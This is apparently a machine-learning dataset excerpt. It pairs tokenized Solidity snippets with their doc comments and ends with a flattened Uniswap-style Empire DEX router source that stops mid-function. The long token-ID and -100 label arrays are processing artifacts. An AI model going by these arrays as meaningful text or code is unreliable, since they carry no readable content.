0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1744,
24947,
1908,
1345,
12,
2867,
1147,
13,
203,
3639,
3903,
203,
3639,
711,
3625,
1862,
12,
2211,
16,
23887,
4678,
18,
27511,
67,
12917,
67,
8412,
13,
203,
565,
288,
203,
3639,
2583,
12,
291,
1248,
10435,
1887,
12,
2316,
3631,
315,
18898,
1345,
8863,
203,
3639,
2583,
12,
5,
5699,
3061,
5157,
63,
2316,
6487,
315,
7236,
1345,
8863,
203,
3639,
2583,
12,
203,
5411,
2430,
18,
2469,
1648,
943,
6841,
5157,
16,
203,
5411,
315,
338,
5288,
87,
326,
4207,
2430,
2935,
6,
203,
3639,
11272,
203,
203,
3639,
309,
16051,
5699,
5157,
63,
2316,
5717,
288,
203,
5411,
2319,
5157,
63,
2316,
65,
273,
638,
31,
203,
5411,
2430,
18,
6206,
12,
2316,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/100/0x28Bcd7e68f44e71A1Db3899946905bcB895410A3/sources/Chores.sol
|
* @dev Allows any Parent to pause the contract/
|
function pauseContract() public onlyParents {
stopped = true;
emit AuctionPaused (msg.sender, stopped);
}
| 16,650,659 |
[
1,
19132,
1281,
9520,
358,
11722,
326,
6835,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
11722,
8924,
1435,
1071,
1338,
13733,
288,
203,
1377,
9627,
273,
638,
31,
7010,
1377,
3626,
432,
4062,
28590,
261,
3576,
18,
15330,
16,
9627,
1769,
203,
225,
289,
203,
21281,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xdF5FaeEB988212108F09aCFd40174e5A1eF71035/sources/X.sol
|
SPDX-License-Identifier: MIT
|
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
| 2,662,701 |
[
1,
3118,
28826,
17,
13211,
17,
3004,
30,
490,
1285,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5831,
467,
654,
39,
3462,
288,
203,
565,
871,
12279,
12,
2867,
8808,
628,
16,
1758,
8808,
358,
16,
2254,
5034,
460,
1769,
203,
565,
871,
1716,
685,
1125,
12,
2867,
8808,
3410,
16,
1758,
8808,
17571,
264,
16,
2254,
5034,
460,
1769,
203,
565,
445,
2078,
3088,
1283,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
565,
445,
11013,
951,
12,
2867,
2236,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
565,
445,
7412,
12,
2867,
358,
16,
2254,
5034,
3844,
13,
3903,
1135,
261,
6430,
1769,
203,
565,
445,
1699,
1359,
12,
2867,
3410,
16,
1758,
17571,
264,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
565,
445,
6617,
537,
12,
2867,
17571,
264,
16,
2254,
5034,
3844,
13,
3903,
1135,
261,
6430,
1769,
203,
565,
445,
7412,
1265,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
3903,
1135,
261,
6430,
1769,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: Unlicense
pragma solidity =0.6.8;
interface IEmpireERC20 {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// SPDX-License-Identifier: Unlicense
pragma solidity =0.6.8;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IEmpireEscrow {
struct Escrow {
uint256 amount;
uint256 release;
}
function lockLiquidity(IERC20 token, address user, uint256 amount, uint256 duration) external;
function releaseLiquidity(IERC20 token) external;
}
// SPDX-License-Identifier: Unlicense
pragma solidity =0.6.8;
import "./IEmpirePair.sol";
interface IEmpireFactory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function createPair(
address tokenA,
address tokenB,
PairType pairType,
uint256 unlockTime
) external returns (address pair);
function createEmpirePair(
address tokenA,
address tokenB,
PairType pairType,
uint256 unlockTime
) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// SPDX-License-Identifier: Unlicense
pragma solidity =0.6.8;
enum PairType {Common, LiquidityLocked, SweepableToken0, SweepableToken1}
interface IEmpirePair {
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function sweptAmount() external view returns (uint256);
function sweepableToken() external view returns (address);
function liquidityLocked() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(
address,
address,
PairType,
uint256
) external;
function sweep(uint256 amount, bytes calldata data) external;
function unsweep(uint256 amount) external;
function getMaxSweepable() external view returns (uint256);
}
// SPDX-License-Identifier: Unlicense
pragma solidity =0.6.8;
interface IEmpireRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// SPDX-License-Identifier: Unlicense
pragma solidity =0.6.8;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function withdraw(uint256) external;
}
// SPDX-License-Identifier: Unlicense
pragma solidity =0.6.8;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library EmpireMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// SPDX-License-Identifier: Unlicense
pragma solidity =0.6.8;
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"TransferHelper::safeApprove: approve failed"
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"TransferHelper::safeTransfer: transfer failed"
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"TransferHelper::transferFrom: transferFrom failed"
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(
success,
"TransferHelper::safeTransferETH: ETH transfer failed"
);
}
}
// SPDX-License-Identifier: Unlicense
pragma solidity =0.6.8;
import "../../interfaces/IEmpirePair.sol";
import "../common/EmpireMath.sol";
library EmpireLibrary {
using EmpireMath for uint256;
bytes32 internal constant PAIR_INIT_HASH =
hex"f1fe94ebb9864b9c3f0bc8f49c058990133fe8cb981093210b082b8f6b383b13"; // See mocks/InitHashExtractor.sol
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB)
internal
pure
returns (address token0, address token1)
{
require(tokenA != tokenB, "EmpireLibrary: IDENTICAL_ADDRESSES");
(token0, token1) = tokenA < tokenB
? (tokenA, tokenB)
: (tokenB, tokenA);
require(token0 != address(0), "EmpireLibrary: ZERO_ADDRESS");
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(
address factory,
address tokenA,
address tokenB
) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(
uint256(
keccak256(
abi.encodePacked(
hex"ff",
factory,
keccak256(abi.encodePacked(token0, token1)),
PAIR_INIT_HASH
)
)
)
);
}
// fetches and sorts the reserves for a pair
function getReserves(
address factory,
address tokenA,
address tokenB
) internal view returns (uint256 reserveA, uint256 reserveB) {
(address token0, ) = sortTokens(tokenA, tokenB);
(uint256 reserve0, uint256 reserve1, ) =
IEmpirePair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0
? (reserve0, reserve1)
: (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) internal pure returns (uint256 amountB) {
require(amountA > 0, "EmpireLibrary: INSUFFICIENT_AMOUNT");
require(
reserveA > 0 && reserveB > 0,
"EmpireLibrary: INSUFFICIENT_LIQUIDITY"
);
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountOut) {
require(amountIn > 0, "EmpireLibrary: INSUFFICIENT_INPUT_AMOUNT");
require(
reserveIn > 0 && reserveOut > 0,
"EmpireLibrary: INSUFFICIENT_LIQUIDITY"
);
uint256 amountInWithFee = amountIn.mul(997);
uint256 numerator = amountInWithFee.mul(reserveOut);
uint256 denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountIn) {
require(amountOut > 0, "EmpireLibrary: INSUFFICIENT_OUTPUT_AMOUNT");
require(
reserveIn > 0 && reserveOut > 0,
"EmpireLibrary: INSUFFICIENT_LIQUIDITY"
);
uint256 numerator = reserveIn.mul(amountOut).mul(1000);
uint256 denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(
address factory,
uint256 amountIn,
address[] memory path
) internal view returns (uint256[] memory amounts) {
require(path.length >= 2, "EmpireLibrary: INVALID_PATH");
amounts = new uint256[](path.length);
amounts[0] = amountIn;
for (uint256 i; i < path.length - 1; i++) {
(uint256 reserveIn, uint256 reserveOut) =
getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(
address factory,
uint256 amountOut,
address[] memory path
) internal view returns (uint256[] memory amounts) {
require(path.length >= 2, "EmpireLibrary: INVALID_PATH");
amounts = new uint256[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint256 i = path.length - 1; i > 0; i--) {
(uint256 reserveIn, uint256 reserveOut) =
getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// SPDX-License-Identifier: Unlicense
pragma experimental ABIEncoderV2;
pragma solidity =0.6.8;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../interfaces/IEmpireEscrow.sol";
import "../interfaces/IEmpireERC20.sol";
import "../interfaces/IEmpireFactory.sol";
import "../interfaces/IEmpireRouter.sol";
import "../interfaces/IWETH.sol";
import "../libraries/periphery/EmpireLibrary.sol";
import "../libraries/common/EmpireMath.sol";
import "../libraries/common/TransferHelper.sol";
contract EmpireRouter is IEmpireRouter {
using EmpireMath for uint256;
address public immutable override factory;
address public immutable override WETH;
address public immutable escrow;
struct PairStruct {
PairType pairType;
uint256 unlockTime;
}
modifier ensure(uint256 deadline) {
require(deadline >= block.timestamp, "EmpireRouter: EXPIRED");
_;
}
constructor(address _factory, address _WETH, address _escrow) public {
factory = _factory;
WETH = _WETH;
escrow = _escrow;
}
receive() external payable {
assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin
) internal virtual returns (uint256 amountA, uint256 amountB) {
// create the pair if it doesn't exist yet
if (IEmpireFactory(factory).getPair(tokenA, tokenB) == address(0)) {
IEmpireFactory(factory).createPair(tokenA, tokenB);
}
(uint256 reserveA, uint256 reserveB) =
EmpireLibrary.getReserves(factory, tokenA, tokenB);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint256 amountBOptimal =
EmpireLibrary.quote(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(
amountBOptimal >= amountBMin,
"EmpireRouter: INSUFFICIENT_B_AMOUNT"
);
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint256 amountAOptimal =
EmpireLibrary.quote(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(
amountAOptimal >= amountAMin,
"EmpireRouter: INSUFFICIENT_A_AMOUNT"
);
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
)
{
(amountA, amountB) = _addLiquidity(
tokenA,
tokenB,
amountADesired,
amountBDesired,
amountAMin,
amountBMin
);
address pair = EmpireLibrary.pairFor(factory, tokenA, tokenB);
TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);
TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = IEmpirePair(pair).mint(to);
}
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
virtual
override
ensure(deadline)
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
)
{
(amountToken, amountETH) = _addLiquidity(
token,
WETH,
amountTokenDesired,
msg.value,
amountTokenMin,
amountETHMin
);
address pair = EmpireLibrary.pairFor(factory, token, WETH);
TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);
IWETH(WETH).deposit{value: amountETH}();
assert(IWETH(WETH).transfer(pair, amountETH));
liquidity = IEmpirePair(pair).mint(to);
// refund dust eth, if any
if (msg.value > amountETH)
TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
}
function addLiquidityLocked(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
uint256 lockDuration
)
external
virtual
ensure(deadline)
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
)
{
(amountA, amountB) = _addLiquidity(
tokenA,
tokenB,
amountADesired,
amountBDesired,
amountAMin,
amountBMin
);
address pair = EmpireLibrary.pairFor(factory, tokenA, tokenB);
TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);
TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = IEmpirePair(pair).mint(address(this));
IERC20(pair).approve(escrow, liquidity);
IEmpireEscrow(escrow).lockLiquidity(IERC20(pair), to, liquidity, lockDuration);
}
function addLiquidityETHLocked(
address token,
